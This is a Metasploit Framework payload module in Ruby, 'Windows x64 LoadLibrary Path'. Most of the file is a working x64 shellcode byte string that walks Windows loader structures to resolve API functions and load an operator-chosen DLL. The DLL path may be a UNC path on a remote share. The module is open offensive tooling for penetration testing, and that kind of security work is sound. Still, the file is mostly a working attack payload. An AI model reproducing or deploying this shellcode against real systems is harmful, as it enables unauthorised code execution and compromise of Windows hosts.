1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 285
8

9
  include Msf::Payload::Windows
10
  include Msf::Payload::Single
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Windows x64 LoadLibrary Path',
17
        'Description' => 'Load an arbitrary x64 library path',
18
        'Author' => [ 'scriptjunkie', 'sf' ],
19
        'License' => MSF_LICENSE,
20
        'Platform' => 'win',
21
        'Arch' => ARCH_X64,
22
        'PayloadCompat' => {
23
          'Convention' => '-http -https'
24
        },
25
        'Payload' => {
26
          'Offsets' =>
27
                  {
28
                    'EXITFUNC' => [ 227, 'V' ]
29
                  },
30
          'Payload' =>
31
                       "\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
32
                       "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" \
33
                       "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" \
34
                       "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" \
35
                       "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" \
36
                       "\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" \
37
                       "\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" \
38
                       "\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" \
39
                       "\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" \
40
                       "\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" \
41
                       "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" \
42
                       "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" \
43
                       "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" \
44
                       "\xFF\xFF\x5D\x48\x8D\x8D\xFF\x00\x00\x00\x41\xBA\x4C\x77\x26\x07" \
45
                       "\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48" \
46
                       "\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72" \
47
                       "\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
48
        }
49
      )
50
    )
51
    register_options(
52
      [
53
        OptString.new('DLL', [ true, 'The library path to load (UNC is OK)' ]),
54
      ]
55
    )
56
  end
57

58
  def generate
59
    return super + dll_string + "\x00"
60
  end
61

62
  def dll_string
63
    return datastore['DLL'] || ''
64
  end
65
end
66

67